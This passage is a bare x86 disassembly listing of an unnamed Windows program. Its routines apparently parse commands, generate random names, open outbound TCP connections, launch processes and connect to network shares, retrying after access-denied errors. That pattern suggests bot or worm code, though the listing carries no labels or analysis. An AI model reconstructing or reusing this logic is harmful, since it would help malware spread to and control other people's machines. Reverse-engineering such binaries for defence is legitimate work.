loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447769
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 28011B1h
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		call	near ptr 27E08AFh
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E8C
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DD4
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DD4
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443EA8
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443EA4
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443EA0
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E9C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E98
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E94
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E90
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	near ptr 27F0000h
		nop
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		call	near ptr 27A0000h
		nop
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB8C
		push	offset dword_50BB8C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 27A0000h
		nop
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C338
		mov	esi, dword_50F8D0


loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


